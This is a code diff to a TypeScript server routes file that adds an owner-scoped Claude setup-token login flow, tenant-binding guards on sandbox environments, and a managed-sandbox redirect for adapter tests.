index 7ff546cb9ff..2803a17a407 100644
--- a/server/src/routes/agents.ts
+++ b/server/src/routes/agents.ts
@@ -29,6 +29,9 @@ import {
   updateAgentSchema,
   supportedEnvironmentDriversForAdapter,
   LOW_TRUST_REVIEW_PRESET,
+  startAdapterAuthSessionRequestSchema,
+  startClaudeSetupTokenSessionRequestSchema,
+  submitBrowserCodeRequestSchema,
 } from "@paperclipai/shared";
 import {
   isForbiddenConfigEnvKey,
@@ -58,7 +61,8 @@ import {
 } from "../services/index.js";
 import { badRequest, conflict, forbidden, HttpError, notFound, unprocessable } from "../errors.js";
 import { createRunSecretRedactionRegistry } from "../services/run-secret-redaction.js";
-import { assertBoard, assertCompanyAccess, assertInstanceAdmin, buildActorSecretContext, getAccessibleResource, getActorInfo, hasCompanyAccess } from "./authz.js";
+import { assertAuthenticated, assertBoard, assertCompanyAccess, assertInstanceAdmin, buildActorSecretContext, getAccessibleResource, getActorInfo, hasCompanyAccess } from "./authz.js";
+import { runAdapterLoginStartSpine } from "./adapter-login-route-spine.js";
 import {
   assertNoAgentHostWorkspaceCommandMutation,
   collectAgentAdapterWorkspaceCommandPaths,
@@ -67,6 +71,7 @@ import type { PluginWorkerManager } from "../services/plugin-worker-manager.js";
 import { environmentService } from "../services/environments.js";
 import { resolveEnvironmentExecutionTarget } from "../services/environment-execution-target.js";
 import { environmentRuntimeService } from "../services/environment-runtime.js";
+import { resolvePluginSandboxProviderDriverByKey } from "../services/plugin-environment-driver.js";
 import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
 import type {
   AdapterEnvironmentCheck,
@@ -103,16 +108,33 @@ import {
   assessConfidentialStartup,
   evaluateConfidentialTransport,
   SETUP_TOKEN_START_FAILED,
-  SETUP_TOKEN_TRANSPORT_INSECURE,
+  SETUP_TOKEN_SESSION_NOT_FOUND,
+  SETUP_TOKEN_PROVIDER_UNSUPPORTED,
+  SETUP_TOKEN_PROVIDER_UNSUPPORTED_CODE,
   type ConfidentialTransportConfig,
   type SetupTokenCleanupRecord,
   type SetupTokenCleanupStore,
   type SetupTokenLease,
   type SetupTokenLeaseManager,
   type SetupTokenLoginProcessFactory,
+  type SetupTokenSecretWriter,
   type SetupTokenSessionScope,
+  type SetupTokenSessionState,
+  type SetupTokenSessionDescriptor,
 } from "../services/setup-token-session.js";
-import type { DeploymentMode } from "@paperclipai/shared";
+import type {
+  DeploymentMode,
+  AdapterAuthSessionStatus,
+  AdapterAuthSessionFailure,
+  ClaudeSetupTokenSessionResponse,
+  ClaudeSetupTokenSessionOwnerResponse,
+  ClaudeSetupTokenSessionPrompt,
+  ClaudeSetupTokenCompletionResponse,
+  ClaudeOAuthTokenStatusResponse,
+  ClaudeSetupTokenOverwrite,
+  SetupTokenTransportAdvisory,
+} from "@paperclipai/shared";
+import { SETUP_TOKEN_TRANSPORT_ADVISORY_CODE } from "@paperclipai/shared";
 import { DEFAULT_CODEX_LOCAL_BYPASS_APPROVALS_AND_SANDBOX } from "@paperclipai/adapter-codex-local";
 import {
   checkStagedCredentialReadiness,
@@ -120,7 +142,6 @@ import {
 } from "@paperclipai/adapter-codex-local/server";
 import {
   AdapterAuthSessionConflictError,
-  CODEX_DEVICE_LOGIN_ADAPTER_TYPE,
   createCodexDeviceLoginService,
   createDbAdapterAuthSessionStore,
   createProductionLoginSessionRuntime,
@@ -128,6 +149,7 @@ import {
 import type { AdapterAuthSessionOwnerResponse } from "@paperclipai/shared";
 import { DEFAULT_CURSOR_LOCAL_MODEL } from "@paperclipai/adapter-cursor-local";
 import { DEFAULT_GEMINI_LOCAL_MODEL } from "@paperclipai/adapter-gemini-local";
+import { DEFAULT_KIMI_LOCAL_MODEL } from "@paperclipai/adapter-kimi-local";
 import { DEFAULT_OPENCODE_LOCAL_MODEL } from "@paperclipai/adapter-opencode-local";
 import { requireOpenCodeModelId } from "@paperclipai/adapter-opencode-local/server";
 import {
@@ -214,6 +236,13 @@ export function agentRoutes(
      * guard; only a peer on this explicit allowlist may forward a TLS protocol.
      */
     confidentialProxyAllowlist?: string[];
+    /**
+     * The explicit operator declaration that a platform edge terminates TLS for
+     * every client request (SR-7). Set from `CLAUDE_LOGIN_EDGE_TLS_TERMINATED`.
+     * Use it on a managed PaaS where the app socket is always plain HTTP and
+     * the edge-proxy peer addresses cannot be allowlisted.
+     */
+    confidentialEdgeTlsTerminated?: boolean;
     /**
      * Receives the setup-token login session service once the router builds it.
      * The caller registers the startup reaper and the graceful-shutdown cleanup.
@@ -233,6 +262,11 @@ export function agentRoutes(
       leases: SetupTokenLeaseManager;
       /** The durable cleanup store. Defaults to the in-memory record store. */
       store?: SetupTokenCleanupStore;
+      /**
+       * The owner-bound secret writer. When the caller omits it, the completion
+       * fails closed, because the secret sink is not bound yet.
+       */
+      completeCredential?: SetupTokenSecretWriter;
     };
   } = {},
 ) {
@@ -243,6 +277,7 @@ export function agentRoutes(
     codex_local: "instructionsFilePath",
     droid_local: "instructionsFilePath",
     gemini_local: "instructionsFilePath",
+    kimi_local: "instructionsFilePath",
     opencode_local: "instructionsFilePath",
     cursor: "instructionsFilePath",
     pi_local: "instructionsFilePath",
@@ -300,6 +335,7 @@ export function agentRoutes(
   const setupTokenConfidentialConfig: ConfidentialTransportConfig = {
     deploymentMode: options.deploymentMode ?? "local_trusted",
     trustedProxies: options.confidentialProxyAllowlist ?? [],
+    edgeTlsTerminated: options.confidentialEdgeTlsTerminated ?? false,
   };
 
   // Rate-limit the start route: a small window per company and owner (SR-4).
@@ -325,20 +361,45 @@ export function agentRoutes(
   // The in-memory non-secret cleanup record store. It is the default store when a
   // caller does not inject a durable database-backed store.
   const setupTokenCleanupRows = new Map<string, SetupTokenCleanupRecord>();
+  const scopeMatchesRow = (row: SetupTokenCleanupRecord, identity: {
+    companyId: string;
+    ownerUserId: string;
+    adapterType: string;
+  }): boolean =>
+    row.companyId === identity.companyId &&
+    row.ownerUserId === identity.ownerUserId &&
+    row.adapterType === identity.adapterType;
   const inMemorySetupTokenCleanupStore: SetupTokenCleanupStore = {
     async record(record): Promise<void> {
       setupTokenCleanupRows.set(record.sessionId, { ...record });
     },
-    async markState(sessionId, state): Promise<void> {
-      const row = setupTokenCleanupRows.get(sessionId);
-      if (row) row.state = state;
+    async markState(identity, state): Promise<void> {
+      const row = setupTokenCleanupRows.get(identity.sessionId);
+      if (row && scopeMatchesRow(row, identity)) row.state = state;
     },
-    async remove(sessionId): Promise<void> {
-      setupTokenCleanupRows.delete(sessionId);
+    async remove(identity): Promise<void> {
+      // The delete matches the full owner scope, so it never removes a row by the
+      // session id alone.
+      const row = setupTokenCleanupRows.get(identity.sessionId);
+      if (row && scopeMatchesRow(row, identity)) setupTokenCleanupRows.delete(identity.sessionId);
     },
     async listReapable(): Promise<SetupTokenCleanupRecord[]> {
       return [];
     },
+    async consumeStoredClaim(identity): Promise<SetupTokenCleanupRecord | null> {
+      const row = setupTokenCleanupRows.get(identity.sessionId);
+      if (
+        !row ||
+        !scopeMatchesRow(row, identity) ||
+        row.state !== "stored" ||
+        row.boundAt !== null ||
+        row.deadline <= Date.now()
+      ) {
+        return null;
+      }
+      row.boundAt = Date.now();
+      return { ...row };
+    },
   };
 
   const deferredSetupTokenLoginFactory: SetupTokenLoginProcessFactory = () => {
@@ -347,19 +408,49 @@ export function agentRoutes(
     throw new SetupTokenSessionError(503, SETUP_TOKEN_START_FAILED);
   };
 
-  // Resolve the transport: use the injected factory, lease manager, and store
-  // when a caller binds them; otherwise use the deferred, fail-closed defaults.
+  const deferredSetupTokenSecretWriter: SetupTokenSecretWriter = async () => {
+    // The owner-bound secret writer arrives through `options.setupTokenLogin`.
+    // Until then the completion fails closed, so the session never reports a
+    // stored credential without a real secret write.
+    throw new SetupTokenSessionError(503, SETUP_TOKEN_START_FAILED);
+  };
+
+  // Resolve the transport: use the injected factory, lease manager, store, and
+  // secret writer when a caller binds them; otherwise use the deferred,
+  // fail-closed defaults.
   const setupTokenLoginFactory =
     options.setupTokenLogin?.factory ?? deferredSetupTokenLoginFactory;
   const setupTokenLeaseManager =
     options.setupTokenLogin?.leases ?? deferredSetupTokenLeaseManager;
   const setupTokenCleanupStore =
     options.setupTokenLogin?.store ?? inMemorySetupTokenCleanupStore;
+  const setupTokenSecretWriter =
+    options.setupTokenLogin?.completeCredential ?? deferredSetupTokenSecretWriter;
+
+  // Re-check the environment company binding at lease acquisition. The start
+  // route runs `assertSandboxLoginEnvironment` before the session begins, but
+  // managed-environment reconciliation can bind the sandbox to another company
+  // between that guard and the lease acquire. This wrapper re-runs the same
+  // guard at acquire time and fails closed with the 403
+  // `environment_company_mismatch` before the transport provisions a sandbox.
+  // The lease insert transaction re-checks the binding once more inside the
+  // insert, so a bind that lands during the provider call still holds no lease.
+  const guardedSetupTokenLeaseManager: SetupTokenLeaseManager = {
+    async acquire(input): Promise<SetupTokenLease> {
+      await assertSandboxLoginEnvironment(input.scope.companyId, input.scope.environmentId, {
+        requireSetupTokenLoginProvider: true,
+      });
+      return setupTokenLeaseManager.acquire(input);
+    },
+    release: (lease) => setupTokenLeaseManager.release(lease),
+    releaseById: (leaseId) => setupTokenLeaseManager.releaseById(leaseId),
+  };
 
   const setupTokenLoginService = new SetupTokenSessionService({
     factory: setupTokenLoginFactory,
-    leases: setupTokenLeaseManager,
+    leases: guardedSetupTokenLeaseManager,
     store: setupTokenCleanupStore,
+    completeCredential: setupTokenSecretWriter,
     rateLimiter: setupTokenRateLimiter,
   });
 
@@ -417,6 +508,7 @@ export function agentRoutes(
         // after the fence; the lock spans the whole section.
         const outcome = await adapterLoginStore.withCompanyAdapterPromotionLock(
           context.companyId,
+          context.startedByUserId,
           context.adapterType,
           () =>
             promoteDeviceLoginCredential({
@@ -547,8 +639,8 @@ export function agentRoutes(
       };
     }
 
-    const environment = await environmentsSvc.getById(input.environmentId);
-    if (!environment) {
+    const requestedEnvironment = await environmentsSvc.getById(input.environmentId);
+    if (!requestedEnvironment) {
       return {
         executionTarget: null,
         environmentName: null,
@@ -563,6 +655,40 @@ export function agentRoutes(
       };
     }
 
+    // Managed-sandbox-only policy: redirect a Test that would run on the local
+    // host onto the platform-managed sandbox, the same as a real run does
+    // (resolveExecutionWorkspaceEnvironmentId in heartbeat). Without this
+    // redirect the Test probes the local host while the run executes in the
+    // managed sandbox, so a passing Test validates the wrong execution target.
+    // With no active managed sandbox the Test fails closed — never local.
+    let environment = requestedEnvironment;
+    if (requestedEnvironment.driver === "local") {
+      const managedSandboxOnly =
+        (await instanceSettings.getExperimental()).enableManagedSandboxOnly === true;
+      if (managedSandboxOnly) {
+        const managedSandboxEnvironment = await environmentsSvc.findManagedSandboxEnvironment(
+          input.companyId,
+        );
+        if (!managedSandboxEnvironment) {
+          return {
+            executionTarget: null,
+            environmentName: requestedEnvironment.name,
+            fallbackChecks: [
+              {
+                code: "managed_sandbox_unavailable",
+                level: "error",
+                message:
+                  "This instance runs agents only in its platform-managed sandbox, but no active managed sandbox environment exists. The test did not run.",
+                hint: "Restore the managed sandbox environment, then test again.",
+              },
+            ],
+            release: noopRelease,
+          };
+        }
+        environment = managedSandboxEnvironment;
+      }
+    }
+
     if (environment.driver === "local") {
       return {
         executionTarget: null,
@@ -656,6 +782,11 @@ export function agentRoutes(
         issueId: null,
         heartbeatRunId: null,
         persistedExecutionWorkspace: null,
+        // Re-check the company binding atomically at lease time. The route
+        // guard already rejected a foreign environment, but the binding could
+        // change between the guard check and the lease acquire. This closes
+        // that check-to-lease race so a foreign sandbox never gets a lease.
+        assertCompanyBinding: true,
         // Apply the active custom-image template so the Test boots with the
         // operator's captured sandbox customizations and prepared image state,
         // matching what real agent runs use. Without this the test would
@@ -762,7 +893,7 @@ export function agentRoutes(
           {
             code: "environment_target_failed",
             level: "error",
-            message: `Could not resolve a sandbox execution target for "${environment.name}".`,
+            message: `Could not resolve an execution target for "${environment.name}".`,
             detail: err instanceof Error ? err.message : String(err),
           },
         ],
@@ -854,9 +985,9 @@ export function agentRoutes(
     return {
       code: "sandbox_test_identity",
       level: "info",
-      message: `Sandbox test identity for "${input.environmentName}".`,
+      message: `Environment test identity for "${input.environmentName}".`,
       detail: detailParts.join("; "),
-      hint: "Use these provider-neutral IDs when comparing model-test output with provider logs or refreshed sandbox snapshots.",
+      hint: "Use these provider-neutral IDs when comparing model-test output with provider logs or refreshed environment snapshots.",
     };
   }
 
@@ -1077,9 +1208,20 @@ export function agentRoutes(
     return userId;
   }
 
-  // The device-login flow supports only the Codex adapter. Reject any other type.
-  function assertCodexLoginAdapter(type: string): void {
-    if (type !== CODEX_DEVICE_LOGIN_ADAPTER_TYPE) {
+  // Read the interactive login capability the registry declares for an adapter
+  // type. Return null when the adapter declares no capability, so a guard fails
+  // closed on the absent case.
+  function getRegistryLoginCapability(type: string) {
+    return findActiveServerAdapter(type)?.loginCapability ?? null;
+  }
+
+  // The device-login route drives a login over the streamed exec channel. It
+  // serves any adapter whose registry login capability declares that transport.
+  // The guard reads the capability, not the adapter name, so a new adapter with
+  // the same transport passes with no code change. It rejects an adapter with no
+  // matching capability with a fixed 400.
+  function assertStreamedExecLoginAdapter(type: string): void {
+    if (getRegistryLoginCapability(type)?.sandboxTransport !== "streamed_exec") {
       throw badRequest(`Adapter "${type}" does not support a device login.`);
     }
   }
@@ -1088,13 +1230,69 @@ export function agentRoutes(
   // only in an active sandbox environment. This reuses the shared environment
   // selection guard, so it rejects a missing, archived (inactive), local, SSH, or
   // plugin environment the same way the agent configuration routes do.
+  //
+  // The execution environment catalog is instance-scoped, not company-owned. PR
+  // #8375 moved the catalog to one shared instance catalog, so an environment row
+  // carries no single owning company. The shared selection guard therefore checks
+  // only the driver and the status. The company-binding check below then rejects
+  // an environment that binds to other companies. The route caller is already
+  // bound to the path company by `assertCompanyAccess`, and the acquired lease
+  // records that same company, so the login stays attributed to the caller.
   async function assertSandboxLoginEnvironment(
     companyId: string,
     environmentId: string,
+    options?: { requireSetupTokenLoginProvider?: boolean },
   ): Promise<void> {
     await assertEnvironmentSelectionForCompany(environmentsSvc, companyId, environmentId, {
       allowedDrivers: ["sandbox"],
     });
+    // Reject an environment that another company owns. A managed sandbox
+    // environment binds to the companies that the instance provisions it for.
+    // When the environment binds to companies but not the request company, the
+    // environment belongs to another company. A login there runs the process in
+    // a foreign company sandbox, so the guard fails closed. An environment with
+    // no company binding is instance-global and stays open to every member.
+    const boundCompanyIds = await environmentsSvc.listBoundCompanyIds(environmentId);
+    if (boundCompanyIds.length > 0 && !boundCompanyIds.includes(companyId)) {
+      throw forbidden("The selected environment belongs to another company.", {
+        code: "environment_company_mismatch",
+      });
+    }
+    // Gate the Claude setup-token login on the provider capability. Only a
+    // sandbox provider that advertises the setup-token login capability
+    // implements the setup-token pseudo-terminal methods. The setup-token start
+    // routes pass this option, so an unsupported provider fails closed here
+    // before the session starts. The lease guard passes it too, so a
+    // reconciliation that rebinds the environment to an unsupported provider
+    // still fails closed before the lease and the pseudo-terminal.
+    if (options?.requireSetupTokenLoginProvider) {
+      await assertSetupTokenLoginProviderCapability(environmentId);
+    }
+  }
+
+  /**
+   * Fails closed when the environment provider does not advertise the Claude
+   * setup-token login capability. It resolves the effective provider from the
+   * environment config, then reads the static capability from the provider
+   * plugin manifest. It never checks the provider by name. A missing plugin, a
+   * non-plugin provider, and a provider without the flag all fail closed with
+   * the fixed, typed error, so no session row, lease, or pseudo-terminal starts.
+   */
+  async function assertSetupTokenLoginProviderCapability(environmentId: string): Promise<void> {
+    const environment = await environmentsSvc.getById(environmentId);
+    const config =
+      environment?.config && typeof environment.config === "object"
+        ? (environment.config as Record<string, unknown>)
+        : {};
+    const provider = typeof config.provider === "string" ? config.provider : "";
+    const resolved = provider
+      ? await resolvePluginSandboxProviderDriverByKey({ db, driverKey: provider })
+      : null;
+    if (!resolved?.driver.supportsLoginPty) {
+      throw unprocessable(SETUP_TOKEN_PROVIDER_UNSUPPORTED, {
+        code: SETUP_TOKEN_PROVIDER_UNSUPPORTED_CODE,
+      });
+    }
   }
 
   // Read a login session for its owner. The durable row is the authority for the
@@ -1105,19 +1303,17 @@ export function agentRoutes(
   async function readOwnerLoginSession(
     companyId: string,
     adapterType: string,
-    sessionId: string,
+    publicSessionId: string,
     requestingUserId: string,
   ): Promise<AdapterAuthSessionOwnerResponse | null> {
-    const row = await adapterLoginStore.get(sessionId);
-    if (
-      !row ||
-      row.companyId !== companyId ||
-      row.adapterType !== adapterType ||
-      row.startedByUserId !== requestingUserId
-    ) {
+    // Read by the public session id, scoped to the company. The store predicate
+    // already carries the company id, so a foreign-company caller reads nothing
+    // and the internal row id never matches. Keep the adapter and owner checks.
+    const row = await adapterLoginStore.getByPublicId(publicSessionId, companyId);
+    if (!row || row.adapterType !== adapterType || row.startedByUserId !== requestingUserId) {
       return null;
     }
-    return adapterLoginService.readOwnerSession(sessionId, requestingUserId);
+    return adapterLoginService.readOwnerSession(publicSessionId, companyId, requestingUserId);
   }
 
   async function assertCanReadConfigurations(req: Request, companyId: string) {
@@ -1695,6 +1891,10 @@ export function agentRoutes(
       next.model = DEFAULT_GEMINI_LOCAL_MODEL;
       return ensureGatewayDeviceKey(adapterType, next);
     }
+    if (adapterType === "kimi_local" && !asNonEmptyString(next.model)) {
+      next.model = DEFAULT_KIMI_LOCAL_MODEL;
+      return ensureGatewayDeviceKey(adapterType, next);
+    }
     if (adapterType === "opencode_local" && !asNonEmptyString(next.model)) {
       next.model = DEFAULT_OPENCODE_LOCAL_MODEL;
       return ensureGatewayDeviceKey(adapterType, next);
@@ -2185,6 +2385,39 @@ export function agentRoutes(
     res.json(detected);
   });
 
+  // The environment drivers the adapter Test route accepts. A local, SSH, or
+  // sandbox environment can host a probe; a plugin environment cannot.
+  const ADAPTER_TEST_ALLOWED_ENVIRONMENT_DRIVERS = ["local", "ssh", "sandbox"];
+
+  // The fail-closed tenant-binding guard for the adapter Test route. A caller
+  // may name any instance environment by id, so the route must reject an
+  // environment that binds to another company before it resolves secrets,
+  // merges env, resolves the target, leases a sandbox, or runs the adapter
+  // test. The guard checks the company binding BEFORE it validates the status
+  // or the driver, so it never reveals the status or the driver of a foreign
+  // environment. A same-company or an instance-global environment then gets the
+  // shared driver and status validation.
+  async function assertAdapterTestEnvironmentForCompany(
+    companyId: string,
+    environmentId: string,
+  ): Promise<void> {
+    const environment = await environmentsSvc.getById(environmentId);
+    if (!environment) {
+      // A missing environment leaks no tenant state. The execution-context
+      // resolver surfaces the existing environment_not_found check.
+      return;
+    }
+    const boundCompanyIds = await environmentsSvc.listBoundCompanyIds(environmentId);
+    if (boundCompanyIds.length > 0 && !boundCompanyIds.includes(companyId)) {
+      throw forbidden("The selected environment belongs to another company.", {
+        code: "environment_company_mismatch",
+      });
+    }
+    await assertEnvironmentSelectionForCompany(environmentsSvc, companyId, environmentId, {
+      allowedDrivers: ADAPTER_TEST_ALLOWED_ENVIRONMENT_DRIVERS,
+    });
+  }
+
   router.post(
     "/companies/:companyId/adapters/:type/test-environment",
     validate(testAdapterEnvironmentSchema),
@@ -2201,6 +2434,11 @@ export function agentRoutes(
         typeof req.body?.environmentId === "string" && req.body.environmentId.trim().length > 0
           ? (req.body.environmentId as string)
           : null;
+      // Fail closed on a foreign environment before any secret resolution, env
+      // merge, target resolution, sandbox lease, or adapter test runs.
+      if (requestedEnvironmentId) {
+        await assertAdapterTestEnvironmentForCompany(companyId, requestedEnvironmentId);
+      }
       const normalizedAdapterConfig = await secretsSvc.normalizeAdapterConfigForPersistence(
         companyId,
         inputAdapterConfig,
@@ -2348,33 +2586,35 @@ export function agentRoutes(
     async (req, res) => {
       const companyId = req.params.companyId as string;
       const type = req.params.type as string;
-      const startedByUserId = await assertCanManageAdapterLogin(req, companyId);
-      assertCodexLoginAdapter(type);
 
-      const environmentId =
-        typeof req.body?.environmentId === "string" && req.body.environmentId.trim().length > 0
-          ? (req.body.environmentId as string)
-          : null;
-      if (!environmentId) {
-        throw badRequest("A sandbox environment is required to start a device login.");
-      }
-      const ttlSeconds =
-        typeof req.body?.ttlSeconds === "number" && Number.isFinite(req.body.ttlSeconds)
-          ? (req.body.ttlSeconds as number)
-          : undefined;
-
-      // Reject a non-sandbox or inactive environment before the service starts.
-      await assertSandboxLoginEnvironment(companyId, environmentId);
+      // The shared start-route spine derives the owner, checks the path adapter
+      // type, validates the strict request schema, and checks the sandbox
+      // environment before any session or lease side effect. The client body
+      // carries no adapter type, so the spine injects the path type into the
+      // parse. The strict schema rejects an unknown field, a non-uuid
+      // environment id, and an out-of-range time-to-live with a fixed 400.
+      const resolved = await runAdapterLoginStartSpine({
+        req,
+        res,
+        deriveOwner: () => assertCanManageAdapterLogin(req, companyId),
+        guardBeforeValidate: () => assertStreamedExecLoginAdapter(type),
+        requestSchema: startAdapterAuthSessionRequestSchema,
+        invalidRequestError: "The device login start request is invalid.",
+        requestOverrides: { adapterType: type },
+        assertSandbox: (data) => assertSandboxLoginEnvironment(companyId, data.environmentId),
+      });
+      if (!resolved) return;
+      const { ownerUserId: startedByUserId, data } = resolved;
 
       const controller = new AbortController();
       let result: Awaited<ReturnType<typeof adapterLoginService.start>>;
       try {
         result = await adapterLoginService.start({
           companyId,
-          environmentId,
+          environmentId: data.environmentId,
           adapterType: type,
           startedByUserId,
-          ttlSeconds,
+          ttlSeconds: data.ttlSeconds,
           signal: controller.signal,
         });
       } catch (error) {
@@ -2410,7 +2650,7 @@ export function agentRoutes(
       const type = req.params.type as string;
       const sessionId = req.params.sessionId as string;
       const ownerUserId = await assertCanManageAdapterLogin(req, companyId);
-      assertCodexLoginAdapter(type);
+      assertStreamedExecLoginAdapter(type);
 
       const owner = await readOwnerLoginSession(companyId, type, sessionId, ownerUserId);
       if (!owner) {
@@ -2430,7 +2670,7 @@ export function agentRoutes(
       const type = req.params.type as string;
       const sessionId = req.params.sessionId as string;
       const ownerUserId = await assertCanManageAdapterLogin(req, companyId);
-      assertCodexLoginAdapter(type);
+      assertStreamedExecLoginAdapter(type);
 
       // Scope the cancel to this company, adapter, and owner. A non-owner and a
       // cross-company caller both receive a 404 and cannot cancel a session.
@@ -2443,7 +2683,7 @@ export function agentRoutes(
       // even when this process does not own the in-flight run, so a cross-process
       // cancel or a cancel after a restart does not leave the slot held until the
       // expiry. The reaper deletes the sandbox and finalizes the terminal.
-      const cancelled = await adapterLoginService.cancelOwnerSession(sessionId, ownerUserId);
+      const cancelled = await adapterLoginService.cancelOwnerSession(sessionId, companyId, ownerUserId);
       // Abort the in-flight run this process owns, so the local login stops at
       // once instead of waiting for the reaper. A run in another process, or an
       // already-terminal run, has no controller here.
@@ -2976,6 +3216,13 @@ export function agentRoutes(
       instructionsBundle,
       sourceIssueId: _sourceIssueId,
       sourceIssueIds: _sourceIssueIds,
+      // The stored-session claim is not an agent column. The server derives the
+      // owner from the authenticated actor and consumes the claim in the create
+      // transaction, so it never reaches the insert values.
+      storedSessionId: hireStoredSessionId,
+      // The apply-existing flag is not an agent column. The server binds the
+      // fixed reference to the owner stored value with no login round trip.
+      applyStoredClaudeLogin: hireApplyStoredClaudeLogin,
       ...hireInput
     } = req.body;
     hireInput.adapterType = assertSelectableAdapterType(hireInput.adapterType);
@@ -3032,13 +3279,26 @@ export function agentRoutes(
 
     const requiresApproval = company.requireBoardApprovalForNewAgents;
     const status = requiresApproval ? "pending_approval" : "idle";
-    const createdAgent = await svc.create(companyId, {
-      id: hiredAgentId,
-      ...normalizedHireInput,
-      status,
-      spentMonthlyCents: 0,
-      lastHeartbeatAt: null,
-    });
+    const createdAgent = await svc.create(
+      companyId,
+      {
+        id: hiredAgentId,
+        ...normalizedHireInput,
+        status,
+        spentMonthlyCents: 0,
+        lastHeartbeatAt: null,
+      },
+      {
+        claudeLogin: {
+          storedSessionId: hireStoredSessionId ?? null,
+          ownerUserId: req.actor.type === "agent" ? null : (req.actor.userId ?? null),
+          // The apply-existing path runs only for a user actor. The owner comes
+          // from the actor, so an agent actor never reaches the no-claim bind.
+          applyExistingWithoutClaim:
+            req.actor.type !== "agent" && hireApplyStoredClaudeLogin === true,
+        },
+      },
+    );
     const agent = await materializeDefaultInstructionsBundleForNewAgent(createdAgent, instructionsBundle);
 
     let approval: Awaited<ReturnType<typeof approvalsSvc.getById>> | null = null;
@@ -3172,6 +3432,13 @@ export function agentRoutes(
     const {
       desiredSkills: requestedDesiredSkills,
       instructionsBundle,
+      // The stored-session claim is not an agent column. The server derives the
+      // owner from the authenticated actor and consumes the claim in the create
+      // transaction, so it never reaches the insert values.
+      storedSessionId: createStoredSessionId,
+      // The apply-existing flag is not an agent column. The server binds the
+      // fixed reference to the owner stored value with no login round trip.
+      applyStoredClaudeLogin: createApplyStoredClaudeLogin,
       ...createInput
     } = req.body;
     createInput.adapterType = assertSelectableAdapterType(createInput.adapterType);
@@ -3216,15 +3483,28 @@ export function agentRoutes(
       allowedSandboxProviders: allowedSandboxProvidersForAgent(createInput.adapterType),
     });
 
-    const createdAgent = await svc.create(companyId, {
-      id: agentId,
-      ...createInput,
-      adapterConfig: normalizedAdapterConfig,
-      runtimeConfig: normalizedRuntimeConfig,
-      status: "idle",
-      spentMonthlyCents: 0,
-      lastHeartbeatAt: null,
-    });
+    const createdAgent = await svc.create(
+      companyId,
+      {
+        id: agentId,
+        ...createInput,
+        adapterConfig: normalizedAdapterConfig,
+        runtimeConfig: normalizedRuntimeConfig,
+        status: "idle",
+        spentMonthlyCents: 0,
+        lastHeartbeatAt: null,
+      },
+      {
+        claudeLogin: {
+          storedSessionId: createStoredSessionId ?? null,
+          ownerUserId: req.actor.type === "agent" ? null : (req.actor.userId ?? null),
+          // The apply-existing path runs only for a user actor. The owner comes
+          // from the actor, so an agent actor never reaches the no-claim bind.
+          applyExistingWithoutClaim:
+            req.actor.type !== "agent" && createApplyStoredClaudeLogin === true,
+        },
+      },
+    );
     const agent = await materializeDefaultInstructionsBundleForNewAgent(createdAgent, instructionsBundle);
 
     const actor = getActorInfo(req);
@@ -3572,6 +3852,11 @@ export function agentRoutes(
     const patchData = { ...(req.body as Record<string, unknown>) };
     const replaceAdapterConfig = patchData.replaceAdapterConfig === true;
     delete patchData.replaceAdapterConfig;
+    // The apply-existing flag is not an agent column. The server binds the fixed
+    // reference to the owner stored value with no login round trip. Remove it
+    // from the patch so it never reaches the update values.
+    const applyStoredClaudeLogin = patchData.applyStoredClaudeLogin === true;
+    delete patchData.applyStoredClaudeLogin;
     if (hasOwn(patchData, "adapterConfig")) {
       const adapterConfig = asRecord(patchData.adapterConfig);
       if (!adapterConfig) {
@@ -3698,6 +3983,13 @@ export function agentRoutes(
         createdByUserId: actor.actorType === "user" ? actor.actorId : null,
         source: "patch",
       },
+      claudeLogin: {
+        ownerUserId: req.actor.type === "agent" ? null : (req.actor.userId ?? null),
+        // The apply-existing path runs only for a user actor. The owner comes
+        // from the actor, so an agent actor never reaches the no-claim bind.
+        applyExistingWithoutClaim:
+          req.actor.type !== "agent" && applyStoredClaudeLogin,
+      },
     });
     if (!agent) {
       res.status(404).json({ error: "Agent not found" });
@@ -4229,21 +4521,22 @@ export function agentRoutes(
 
   // --- Setup-token login session routes --------------------------------------
   //
-  // The routes give the harness the operations against one live login session.
-  // Every operation verifies the company, the owner user, and the target agent
-  // through the session scope. A missing session and a cross-scope session both
-  // return the same 404. The confidential responses (read-prompt and
-  // receive-token) pass through the fail-closed transport guard and set
+  // The routes give the UI operations against one live login session. Every
+  // operation verifies the company and owner user through the session scope. A
+  // missing session and a cross-scope session both return the same 404. The
+  // confidential responses pass through the transport assessment and set
   // `Cache-Control: no-store`. The routes write no prompt, code, token, or raw
   // process chunk to a log or an activity detail, and they return fixed error
   // text only.
   //
   // Operator requirement (SR-7): to serve the confidential responses behind a
   // TLS-terminating reverse proxy, set `CLAUDE_LOGIN_TRUSTED_PROXIES` to the
-  // explicit proxy IP or CIDR allowlist. The global `TRUST_PROXY` setting,
-  // including `TRUST_PROXY=true` and a hop-count value, does not satisfy the
-  // guard. A direct TLS request is always valid; a non-TLS request is valid only
-  // on a loopback peer in the `local_trusted` deployment mode.
+  // explicit proxy IP or CIDR allowlist — or, on a managed platform whose edge
+  // always terminates TLS and whose proxy peer addresses cannot be allowlisted,
+  // declare `CLAUDE_LOGIN_EDGE_TLS_TERMINATED=true`. The global `TRUST_PROXY`
+  // setting, including `TRUST_PROXY=true` and a hop-count value, does not
+  // satisfy the guard. A direct TLS request is always valid; a non-TLS request
+  // is valid only on a loopback peer in the `local_trusted` deployment mode.
   //
   // Each route below writes its full path as a plain string literal. The static
   // OpenAPI coverage test reads the route paths from the source text; it does
@@ -4251,28 +4544,63 @@ export function agentRoutes(
   // test with an unresolved path, so the routes repeat the base path instead.
 
   /**
-   * Builds the immutable session scope from the authenticated owner user and the
-   * target agent (SR-3, FU-1). Only a user actor owns a login session; the route
-   * uses this dedicated login scope, not the broad agent-manage permission.
+   * Derives the immutable owner of a setup-token login session from the actor.
+   * Only a board user owns a login session. It returns the owner id, or it
+   * throws a forbidden error. The owner is never a client field; it comes only
+   * from the authenticated actor.
    */
-  const buildSetupTokenScope = (
-    req: Request,
-    agent: { id: string; companyId: string },
-  ): SetupTokenSessionScope => {
+  const deriveSetupTokenOwnerUserId = (req: Request): string => {
     const actor = getActorInfo(req);
     if (actor.actorType !== "user") {
       throw forbidden("A user must own a setup-token login session.");
     }
-    return { companyId: agent.companyId, ownerUserId: actor.actorId, targetAgentId: agent.id };
+    return actor.actorId;
   };
 
   /**
-   * Applies the fail-closed confidential transport guard (SR-6, SR-7). It reads
-   * the raw socket TLS bit and the immediate peer address, so the global
-   * `trust proxy` setting cannot influence the decision. It returns false and
-   * sends the fixed no-secret error when the transport is not confidential.
